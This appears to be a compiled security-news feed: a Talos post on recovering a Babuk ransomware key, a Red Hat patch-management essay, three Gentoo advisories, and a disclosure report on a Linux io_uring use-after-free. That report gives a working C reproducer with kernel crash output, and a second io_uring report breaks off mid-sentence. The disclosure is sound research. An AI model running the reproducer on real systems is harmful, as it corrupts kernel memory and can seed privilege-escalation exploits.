Cisco Talos obtained executable code capable of decrypting files affected by the Babuk Tortilla ransomware variant, allowing Talos to extract and share the private decryption key used by the threat actor.

Tuesday, January 9, 2024 04:00

*   Cisco Talos obtained executable code capable of decrypting files affected by the Babuk Tortilla ransomware variant, allowing Talos to extract and share the private decryption key used by the threat actor.
*   Cisco Talos shared the key with our peers at Avast for inclusion in the Avast Babuk decryptor released in 2021. The decryptor includes all known private keys, allowing many users to recover their files once encrypted by different Babuk ransomware variants. 
*   Dutch Police, acting on threat intelligence supplied by Talos, identified, apprehended and the Dutch Prosecution Office prosecuted the threat actor behind Babuk Tortilla operations, demonstrating the power of cooperation between law enforcement agencies and commercial security organizations such as Talos and Avast.

In cooperation with Dutch Police and Avast, Cisco Talos recovered a decryptor for encrypted files from systems affected by the Babuk ransomware variant known as Tortilla. We first described the operations of Tortilla ransomware in a blog post in November 2021. 

Dutch Police used the intelligence provided by Talos to discover and apprehend the actor behind this malware. During the Amsterdam Police operation, Talos obtained and analyzed the decryptor, recovered the decryption key and shared the key with engineers from Avast Threat Labs in charge of development and maintenance of the decryptor for several other Babuk variants. 

The generic Avast Babuk decryptor was already used as the de facto industry standard Babuk decryptor by many affected users and it made perfect sense to be updated with the keys Talos recovered from the Tortilla decryptor. 

This way, the users can access programs such as NoMoreRansom to download the single decryptor containing all currently known Babuk keys and do not have to choose between competing decryptors for individual variants.

**Babuk source code is used as a basis of many ransomware variants**

Babuk ransomware emerged in 2021, gaining notoriety for its high-profile attacks on targeted industries, especially those in healthcare, manufacturing, logistics and public services, including critical infrastructure.

Babuk can be compiled for several hardware and software platforms. The compilation is configured through a ransomware builder. Windows and ARM for Linux are the most commonly used versions, but ESX and a 32-bit, older PE executable were also observed over time. 

Babuk ransomware is nefarious by its nature and while it encrypts the victim's machine, it interrupts the system backup process and deletes the volume shadow copies. The source code of the Babuk ransomware leaked in an underground forum in September 2021 by an alleged insider, opening the door for other cybercriminals to utilize and potentially enhance the ransomware and increase the threat level for businesses and organizations worldwide.

Talos recently analyzed the operations of the RA ransomware group and other groups basing their ransomware on the leaked Babuk source code, documenting 10 different actors using it. 

__Timeline of ransomware families leveraging leaked Babuk ransomware code.__

Cisco Talos discovered a Tortilla campaign in our product telemetry on Oct. 12, 2021, targeting vulnerable Microsoft Exchange servers and attempting to exploit the ProxyShell vulnerability to deploy the Babuk ransomware in the victim's environment. 

The actor used a specific infection chain technique where an intermediate unpacking module is hosted on a pastebin.com clone, pastebin.pl. The intermediate unpacking stage was downloaded and decoded in memory before the final payload embedded within the original sample was decrypted and executed.

**Babuk Tortilla decryptor is a standard decryptor provided by the threat actor**

The Babuk Tortilla decryptor obtained by Cisco Talos was likely created from the leaked Babuk source code and the generator. An actor wishing to utilize the ransomware toolkit has to generate a public/private key pair to be used in the operation. The key pair can also be generated per campaign but we have no indication of other keys used by the Tortilla actor. Instead, a single key pair is used to attack all their victims. 

The public key is deployed to the ransomware payload where it is used in the infection process to encrypt the per-file symmetric encryption/decryption key. That is then appended to the end of every encrypted file with the encryption marker and additional metadata. This allows the specific decryptor to recognize the fact that a file is encrypted and decrypt the symmetric key using the private key embedded in the body of the specially crafted decryptor tool created by the threat actor. 

__Recursive decryptor function for traversing file system is not efficient.__

The decryption process used by the original decryptor is rather slow due to the inefficiency of the routine used to traverse the file system. Although the decryptor supplied by the threat actor works, Cisco Talos made the decision to not share any executable code created by the threat actor, as it may expose production environments to untrusted code. The approach we took was to extract the private key from the decryptor and add the key to the list of keys supported by the Avast Babuk decryptor. 

**Generic Babuk decryptor helps users to recover their files**

The Avast Babuk decryptor is optimized for performance and allows users to recover their files very quickly if the Babuk variant uses one of the known private decryption keys. The initial decryptor was released in October 2021, and it has been actively supported by Avast Threat Labs’ engineers. 

Its simple user interface allows even users with minimal experience in ransomware recovery to easily understand its usage and purpose.

__Avast Babuk decryptor can be used to decrypt files encrypted by the Babuk Tortilla variant.__

Users affected by Tortilla ransomware operations can download the updated version of the Babuk decryptor from the NoMoreRansom decryptors page or the Avast decryptors download page. 

Cisco Talos would like to thank the Dutch Police and Avast for their cooperation and we look forward to working with them on other similar projects.

New decryptor for Babuk Tortilla ransomware variant released

**What privileges could be gained by an attacker who successfully exploited this vulnerability?**

An attacker who successfully exploited this vulnerability could gain SYSTEM privileges.

CVE-2024-20681: Windows Subsystem for Linux Elevation of Privilege Vulnerability

Traditional vulnerability management uses a singular “patch all things” approach that is ineffective and costly. It’s time we shifted to adopting appropriate risk-based approaches that consider more than an exclusive focus on patching security issues. Organizations are increasingly called upon to navigate a complex cybersecurity landscape which is more than just potential threats and attacks. It also includes the complexity and sheer volume of software. This requires going beyond “security by compliance” and utilizing comprehensive risk assessment, appropriate prioritization of resou

Traditional vulnerability management uses a singular “patch all things” approach that is ineffective and costly. It’s time we shifted to adopting appropriate risk-based approaches that consider more than an exclusive focus on patching security issues. Organizations are increasingly called upon to navigate a complex cybersecurity landscape which is more than just potential threats and attacks. It also includes the complexity and sheer volume of software. This requires going beyond “security by compliance” and utilizing comprehensive risk assessment, appropriate prioritization of resources, and embracing a risk-first mindset. Otherwise the number of breaches will continue to grow and we cannot make the claim that it was despite our best efforts.

This is the first post in a series where I’ll look at the changing demands surrounding the many aspects of IT security, how the role of patch management needs to evolve in the face of these dynamics, and how we got here.

**Advances in security over the years**

Our views on cybersecurity in the computing industry are still adolescent. Connected systems, while ubiquitous today, have not always been around and the evolution of those connections has progressed rapidly. Today’s technology, in many respects, is about 60 years old. ARPANET was created in 1969 and the internet is largely regarded as being publicly accessible since 1983. As of this writing, the internet has been available for 40 years. In that time we went from mainframes to bare metal computers to virtual machines to containers and the cloud, commoditizing computing, expanding access and lowering expenses.

Computer security has likewise had an evolution and, in some respects, that evolution has been quite good and profound. In other respects, such as patch management, we still rely on the things we did 40 years ago, disregarding advances in other technology domains that security is relevant to.

Here are a few examples. It used to be sheer folly to have a desktop system connected to the internet without running anti-malware or antivirus software. We created perimeter defenses around our networks, at home or at the office, in the form of firewalls. In the early days of desktop computing, most thought that all you needed was a firewall and antivirus software and you were golden. Antivirus was rather passive and if you didn’t update signatures, your risk of infection went up. And it was a catch-up game: when a new virus was created, it took time to see it and create new signatures to then push to users.

Firewalls were more responsive in that they could block a targeted attack on an end-user, unlike a scanner that only detected a problem when it was already present. But as networks became more sophisticated, and applications required bidirectional communication channels, new capabilities had to be created to offer better protection. Our firewalls got smarter and much more sophisticated. Even then, it was an all-or-nothing approach. If they didn’t get through the firewall, an attacker got nothing. If they did make it through the firewall, they potentially had access to everything. In those days, if you were behind the firewall, you had implicit trust on the network.

So our thinking adjusted again. We went from implicit trust inside the network to a focus on authorization, identification, and authentication that ultimately led to zero trust thinking. We created Demilitarized Zones (DMZs) and disconnected environments. More tools that required more sophistication, added more complexity, and often created implicit trust relationships.

Another evolution occurred in the methods for authentication and authorization. In the early days you had a username and password for every system. Often these were identical. If I could obtain your username and password on one, chances are I had it for everything else. In many cases, such as with the once infamous rsh/rlogin services, it wasn’t even necessary to type a password again; systems were configured to trust each other based purely on the host where the login originated. This created opportunities for attackers to spoof origins to gain host-based access, to target weak systems and obtain credentials for use on other more secure systems (that used the same credentials), and other ways to target weak authentication and authorization systems. As a result, we decided that best practice was to have different passwords for different systems, which is a good thing, and then have password aging policies to determine how often they needed to be changed (because rotating passwords was largely considered to be a good security practice).

However, we learned quickly that humans being humans, if I had to rotate my password every 30 days, I would go from “password123” to “password456” to “password789”. We worked to solve the individual user system problem by introducing centralized identity and access management systems like NIS/YP (Network Information Systems or Yellow Pages), and other systems based on things like LDAP (Lightweight Directory Access Protocol) and kerberos, such as AD (Active Directory) and some less successful offerings from now defunct companies that many of us would rather forget. All of these further expanded trust to users in internal networks, and often still required password rotation.

What we didn’t consider is that absent a breach, your password doesn’t need to be changed. In fact, changing it could provide a resident attacker monitoring client or server systems with your new password as you changed it, defeating the purpose of rotating it in the first place. So password aging fell out of favor roughly in 2019 when both Microsoft and NIST conceded that it was a lot of effort for very little benefit. The FTC said the same earlier in 2016. For reference, as far back as 1993, password rotation was official NIST guidance as per NISTIR 5153 - Minimum Security Requirements for Multi-User Operating Systems (see section 3.1.2.1).

We have a number of better solutions now. We have more sophisticated software to monitor for account and password compromises. We can have complicated and unique passwords stored in systems like 1Password or KeePass that make random, un-memorable passwords really easy to use. We have SSO (Single Sign-On), SAML (Security Assertion Markup Language) and OAuth (Open Authorization) as well as FIDO (Fast IDentity Online) and U2F (Universal 2nd Factor) to assist with multi-factor authentication. We use certificate and key-based authentication rather than shared secrets. Forced password expiration is a relic that common consensus says doesn’t actually solve any meaningful problems.

Now, we know where we’ve been and what “hygienic” security habits we’ve pulled through from the preceding decades. In my next post, however, I’ll lay out what’s forcing change to these habits and why some tried and true methods are starting to make less sense.

Vincent Danen lives in Canada and is the Vice President of Product Security at Red Hat. He joined Red Hat in 2009 and has been working in the security field, specifically around Linux, operating security and vulnerability management, for over 20 years.

Read full bio

Patch management needs a revolution, part 1: Surveying cybersecurity’s lineage

Gentoo Linux Security Advisory 202401-12 - Multiple vulnerabilities have been found in Synapse, the worst of which could result in information leaks. Versions greater than or equal to 1.96.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202401-12  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Low  
    Title: Synapse: Multiple Vulnerabilities  
     Date: January 07, 2024  
     Bugs: #914765, #916609  
       ID: 202401-12

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilites have been found in Synapse, the worst of which  
could result in information leaks.

Background  
==========

Synapse is a Matrix homeserver written in Python/Twisted.

Affected packages  
=================

Package         Vulnerable    Unaffected  
--------------  ------------  ------------  
net-im/synapse  < 1.96.0      >= 1.96.0

Description  
===========

Multiple vulnerabilities have been discovered in Synapse. Please review  
the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Synapse users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=net-im/synapse-1.96.0"

References  
==========

[ 1 ] CVE-2023-41335  
      https://nvd.nist.gov/vuln/detail/CVE-2023-41335  
[ 2 ] CVE-2023-42453  
      https://nvd.nist.gov/vuln/detail/CVE-2023-42453  
[ 3 ] CVE-2023-43796  
      https://nvd.nist.gov/vuln/detail/CVE-2023-43796  
[ 4 ] CVE-2023-45129  
      https://nvd.nist.gov/vuln/detail/CVE-2023-45129

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202401-12

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202401-12

Gentoo Linux Security Advisory 202401-11 - Multiple vulnerabilities have been found in Apache Batik, the worst of which could result in arbitrary code execution. Versions greater than or equal to 1.17 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202401-11  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: Apache Batik: Multiple Vulnerabilities  
     Date: January 07, 2024  
     Bugs: #724534, #872689, #918088  
       ID: 202401-11

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been found in Apache Batik, the worst of  
which could result in arbitrary code execution.

Background  
==========

Apache Batik is a Java-based toolkit for applications or applets that  
want to use images in the Scalable Vector Graphics (SVG) format for  
various purposes, such as display, generation or manipulation.

Affected packages  
=================

Package         Vulnerable    Unaffected  
--------------  ------------  ------------  
dev-java/batik  < 1.17        >= 1.17

Description  
===========

Multiple vulnerabilities have been discovered in Apache Batik. Please  
review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Apache Batik users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/batik-1.17"

References  
==========

[ 1 ] CVE-2018-8013  
      https://nvd.nist.gov/vuln/detail/CVE-2018-8013  
[ 2 ] CVE-2019-17566  
      https://nvd.nist.gov/vuln/detail/CVE-2019-17566  
[ 3 ] CVE-2020-11987  
      https://nvd.nist.gov/vuln/detail/CVE-2020-11987  
[ 4 ] CVE-2022-38398  
      https://nvd.nist.gov/vuln/detail/CVE-2022-38398  
[ 5 ] CVE-2022-38648  
      https://nvd.nist.gov/vuln/detail/CVE-2022-38648  
[ 6 ] CVE-2022-40146  
      https://nvd.nist.gov/vuln/detail/CVE-2022-40146  
[ 7 ] CVE-2022-41704  
      https://nvd.nist.gov/vuln/detail/CVE-2022-41704  
[ 8 ] CVE-2022-42890  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42890  
[ 9 ] CVE-2022-44729  
      https://nvd.nist.gov/vuln/detail/CVE-2022-44729  
[ 10 ] CVE-2022-44730  
      https://nvd.nist.gov/vuln/detail/CVE-2022-44730

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202401-11

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202401-11

Gentoo Linux Security Advisory 202401-10 - Multiple vulnerabilities have been found in Mozilla Firefox, the worst of which could lead to remote code execution. Versions greater than or equal to 115.6.0:esr are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202401-10  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: Mozilla Firefox: Multiple Vulnerabilities  
     Date: January 07, 2024  
     Bugs: #908245, #914073, #918433, #920507  
       ID: 202401-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been found in Mozilla Firefox, the worst  
of which could lead to remote code execution.

Background  
==========

Mozilla Firefox is a popular open-source web browser from the Mozilla  
project.

Affected packages  
=================

Package                 Vulnerable     Unaffected  
----------------------  -------------  --------------  
www-client/firefox      < 115.6.0:esr  >= 115.6.0:esr  
                        < 121.0:rapid  >= 121.0:rapid  
www-client/firefox-bin  < 115.6.0:esr  >= 115.6.0:esr  
                        < 121.0:rapid  >= 121.0:rapid

Description  
===========

Multiple vulnerabilities have been discovered in Mozilla Firefox. Please  
review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Mozilla Firefox ESR binary users should upgrade to the latest  
version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/firefox-bin-115.6.0:esr"

All Mozilla Firefox ESR users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/firefox-115.6.0:esr"

All Mozilla Firefox binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/firefox-bin-121.0:rapid"

All Mozilla Firefox users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/firefox-121.0:rapid"

References  
==========

[ 1 ] CVE-2023-3482  
      https://nvd.nist.gov/vuln/detail/CVE-2023-3482  
[ 2 ] CVE-2023-4058  
      https://nvd.nist.gov/vuln/detail/CVE-2023-4058  
[ 3 ] CVE-2023-4579  
      https://nvd.nist.gov/vuln/detail/CVE-2023-4579  
[ 4 ] CVE-2023-4863  
      https://nvd.nist.gov/vuln/detail/CVE-2023-4863  
[ 5 ] CVE-2023-5129  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5129  
[ 6 ] CVE-2023-5170  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5170  
[ 7 ] CVE-2023-5172  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5172  
[ 8 ] CVE-2023-5173  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5173  
[ 9 ] CVE-2023-5175  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5175  
[ 10 ] CVE-2023-5722  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5722  
[ 11 ] CVE-2023-5723  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5723  
[ 12 ] CVE-2023-5729  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5729  
[ 13 ] CVE-2023-5731  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5731  
[ 14 ] CVE-2023-5758  
      https://nvd.nist.gov/vuln/detail/CVE-2023-5758  
[ 15 ] CVE-2023-6135  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6135  
[ 16 ] CVE-2023-6210  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6210  
[ 17 ] CVE-2023-6211  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6211  
[ 18 ] CVE-2023-6213  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6213  
[ 19 ] CVE-2023-6856  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6856  
[ 20 ] CVE-2023-6857  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6857  
[ 21 ] CVE-2023-6858  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6858  
[ 22 ] CVE-2023-6859  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6859  
[ 23 ] CVE-2023-6860  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6860  
[ 24 ] CVE-2023-6861  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6861  
[ 25 ] CVE-2023-6862  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6862  
[ 26 ] CVE-2023-6863  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6863  
[ 27 ] CVE-2023-6864  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6864  
[ 28 ] CVE-2023-6865  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6865  
[ 29 ] CVE-2023-6866  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6866  
[ 30 ] CVE-2023-6867  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6867  
[ 31 ] CVE-2023-6868  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6868  
[ 32 ] CVE-2023-6869  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6869  
[ 33 ] CVE-2023-6870  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6870  
[ 34 ] CVE-2023-6871  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6871  
[ 35 ] CVE-2023-6872  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6872  
[ 36 ] CVE-2023-6873  
      https://nvd.nist.gov/vuln/detail/CVE-2023-6873  
[ 37 ] CVE-2023-32205  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32205  
[ 38 ] CVE-2023-32206  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32206  
[ 39 ] CVE-2023-32207  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32207  
[ 40 ] CVE-2023-32208  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32208  
[ 41 ] CVE-2023-32209  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32209  
[ 42 ] CVE-2023-32210  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32210  
[ 43 ] CVE-2023-32211  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32211  
[ 44 ] CVE-2023-32212  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32212  
[ 45 ] CVE-2023-32213  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32213  
[ 46 ] CVE-2023-32214  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32214  
[ 47 ] CVE-2023-32215  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32215  
[ 48 ] CVE-2023-32216  
      https://nvd.nist.gov/vuln/detail/CVE-2023-32216  
[ 49 ] CVE-2023-34414  
      https://nvd.nist.gov/vuln/detail/CVE-2023-34414  
[ 50 ] CVE-2023-34415  
      https://nvd.nist.gov/vuln/detail/CVE-2023-34415  
[ 51 ] CVE-2023-34416  
      https://nvd.nist.gov/vuln/detail/CVE-2023-34416  
[ 52 ] CVE-2023-34417  
      https://nvd.nist.gov/vuln/detail/CVE-2023-34417  
[ 53 ] CVE-2023-37203  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37203  
[ 54 ] CVE-2023-37204  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37204  
[ 55 ] CVE-2023-37205  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37205  
[ 56 ] CVE-2023-37206  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37206  
[ 57 ] CVE-2023-37209  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37209  
[ 58 ] CVE-2023-37210  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37210  
[ 59 ] CVE-2023-37212  
      https://nvd.nist.gov/vuln/detail/CVE-2023-37212  
[ 60 ] MFSA-2023-40  
[ 61 ] MFSA-TMP-2023-0002

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202401-10

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202401-10

Linux versions 6.4 and above suffer from an io_uring page use-after-free vulnerability via buffer ring mmap.

    Linux >=6.4: io_uring: page UAF via buffer ring mmapSince commit c56e022c0a27 (\"io_uring: add support for user mapped providedbuffer ring\"), landed in Linux 6.4, io_uring makes it possible to allocate,mmap, and deallocate \"buffer rings\".A \"buffer ring\" can be allocated withio_uring_register(..., IORING_REGISTER_PBUF_RING, ...) and later deallocatedwith io_uring_register(..., IORING_UNREGISTER_PBUF_RING, ...).It can be mapped into userspace using mmap() with offsetIORING_OFF_PBUF_RING|..., which creates a VM_PFNMAP mapping, meaning the MMsubsystem will treat the mapping as a set of opaque page frame numbers notassociated with any corresponding pages; this implies that the calling code isresponsible for ensuring that the mapped memory can not be freed before theuserspace mapping is removed.However, there is no mechanism to ensure this in io_uring: It is possible tojust register a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and thenfree the buffer ring's pages with IORING_UNREGISTER_PBUF_RING, leaving freepages mapped into userspace, which is a fairly easily exploitable situation.reproducer:==============================================================#define _GNU_SOURCE#include <unistd.h>#include <err.h>#include <string.h>#include <stdio.h>#include <ctype.h>#include <sys/syscall.h>#include <sys/mman.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})int main(void) {  struct io_uring_params params = {    .flags = IORING_SETUP_NO_SQARRAY  };  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));  printf(\"uring_fd = %d\\", uring_fd);  struct io_uring_buf_reg reg = {    .ring_entries = 1,    .bgid = 0,    .flags = IOU_PBUF_RING_MMAP  };  SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1));  void *pbuf_mapping = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_PBUF_RING));  printf(\"pbuf mapped at %p\\", pbuf_mapping);  struct io_uring_buf_reg unreg = { .bgid = 0 };  SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1));  while (1) {    memset(pbuf_mapping, 0xaa, 0x1000);    usleep(100000);  }}==============================================================When run on a system with the debug options:    CONFIG_PAGE_TABLE_CHECK=y    CONFIG_PAGE_TABLE_CHECK_ENFORCED=y, this will splat with the following error, when __page_table_check_zero()detects that a page that's being freed is still mapped into userspace:==============================================================------------[ cut here ]------------kernel BUG at mm/page_table_check.c:146!invalid opcode: 0000 [#1] PREEMPT SMP KASANCPU: 1 PID: 554 Comm: uring-mmap-pbuf Not tainted 6.7.0-rc3 #360Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014RIP: 0010:__page_table_check_zero+0x136/0x150Code: a8 40 0f 84 1f ff ff ff 48 8d 7b 48 e8 93 8a fd ff 48 8b 6b 48 40 f6 c5 01 0f 84 08 ff ff ff 48 83 ed 01 e9 02 ff ff ff 0f 0b <0f> 0b 0f 0b 0f 0b 5b 48 89 ef 5d 41 5c 41 5d 41 5e e9 f4 ea ff ffRSP: 0018:ffff888029aa7c70 EFLAGS: 00010202RAX: 0000000000000001 RBX: ffff8880011789f0 RCX: dffffc0000000000RDX: 0000000000000007 RSI: ffffffff83ca598e RDI: ffff8880011789f4RBP: ffff8880011789f0 R08: 0000000000000000 R09: ffffed100022f13eR10: ffff8880011789f7 R11: 0000000000000000 R12: 0000000000000000R13: ffff8880011789f4 R14: 0000000000000001 R15: 0000000000000000FS:  00007f745f01a500(0000) GS:ffff88806d280000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 00005610bbfb8008 CR3: 0000000016ac3004 CR4: 0000000000770ef0PKRU: 55555554Call Trace: <TASK>[...] free_unref_page_prepare+0x282/0x450 free_unref_page+0x45/0x170 __io_remove_buffers.part.0+0x38c/0x3c0 io_unregister_pbuf_ring+0x146/0x1e0[...] __do_sys_io_uring_register+0xa03/0x11c0[...] do_syscall_64+0x43/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76RIP: 0033:0x7f745ef4bf59Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 07 6f 0c 00 f7 d8 64 89 01 48RSP: 002b:00007ffe29cbac98 EFLAGS: 00000202 ORIG_RAX: 00000000000001abRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f745ef4bf59RDX: 00007ffe29cbaca0 RSI: 0000000000000017 RDI: 0000000000000003RBP: 00007ffe29cbadb0 R08: 00007ffe29cbab6c R09: 0000000000000000R10: 0000000000000001 R11: 0000000000000202 R12: 00005610bbb700d0R13: 00007ffe29cbae90 R14: 0000000000000000 R15: 0000000000000000 </TASK>Modules linked in:---[ end trace 0000000000000000 ]---==============================================================When run on a system without those options, this reproducer will randomlycorrupt memory and probably on most runs crash the machine.I tried it once and after I tried using some other programs, I got some randomkernel #GP fault.One way to fix this might be to add some mapping counter to`struct io_buffer_list`, and then: - increment that counter in io_uring_validate_mmap_request() for PBUF_RING   mappings - increment that counter in the vm_area_operations ->open() handler - decrement that counter in the vm_area_operations ->close() handler - refuse IORING_UNREGISTER_PBUF_RING if the counter is non-zero?Or alternatively free the io_buffer_list when the counter drops to zero, and letthe counter start at 1.(I'm not sure what the lifetime rules for other accesses to the io_buffer_list'smemory are - it looks like most paths only access the io_buffer_list under somelock? Is the idea that the kernel actually accesses the buffer through userspacepointers, or something like that? I'll have to stare at this some more before Iunderstand it...)This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2024-02-26.Found by: jannh@google.com

Linux 6.4 io_uring Use-After-Free

__io_uaddr_map() in io_uring suffers from dangerous handling of the multi-page region.

    io_uring: __io_uaddr_map() handles multi-page region dangerously__io_uaddr_map() wants to import a region from userspace, and then address theimported region through the linear mapping area. This requires that theimported region is physically contiguous.A comment in __io_uaddr_map() explains that the imported region is usuallyjust a single page, in which case that is trivially fine.However, __io_uaddr_map() also has code intended to permit multi-page regions,in which case it tries to enforce that the entire region maps to the samefolio (in other words, the same head page):        /*         * Should be a single page. If the ring is small enough that we can         * use a normal page, that is fine. If we need multiple pages, then         * userspace should use a huge page. That's the only way to guarantee         * that we get contigious memory, outside of just being lucky or         * (currently) having low memory fragmentation.         */        if (page_array[0] != page_array[ret - 1])                goto err;This code is wrong for (more or less) two reasons:1. It only checks the first and last page; it doesn't check any of the pages   in between. Userspace can easily create a set of adjacent VMAs such that   the first and last virtual page map to the same physical page, while pages   in between map to entirely unrelated pages.2. It misunderstands how compound pages are represented in the kernel, and   will always reject the case it is supposed to allow:   `pin_user_pages_fast()` would return a set of adjacent `struct page`   